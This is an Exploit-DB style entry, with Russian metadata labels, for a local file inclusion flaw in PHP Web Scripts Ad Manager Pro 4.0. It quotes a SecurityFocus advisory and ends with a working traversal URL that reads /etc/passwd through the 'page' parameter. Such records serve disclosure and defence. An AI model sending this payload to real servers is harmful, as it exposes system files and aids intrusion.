Exploit PHP Web Scripts Ad Manager Pro - 'page' Local File Inclusion

[Exploiter]

EDB-ID

37656

Проверка EDB

1. Пройдено

Автор

CORRADO LIOTTA

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

N/A

Дата публикации

2012-08-23

PHP Web Scripts Ad Manager Pro - 'page' Local File Inclusion

source: https://www.securityfocus.com/bid/55189/info

PHP Web Scripts Ad Manager Pro is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker can exploit this vulnerability to view files and execute local scripts in the context of the web server process. This may aid in further attacks.

Ad Manager Pro version 4.0 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?page=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd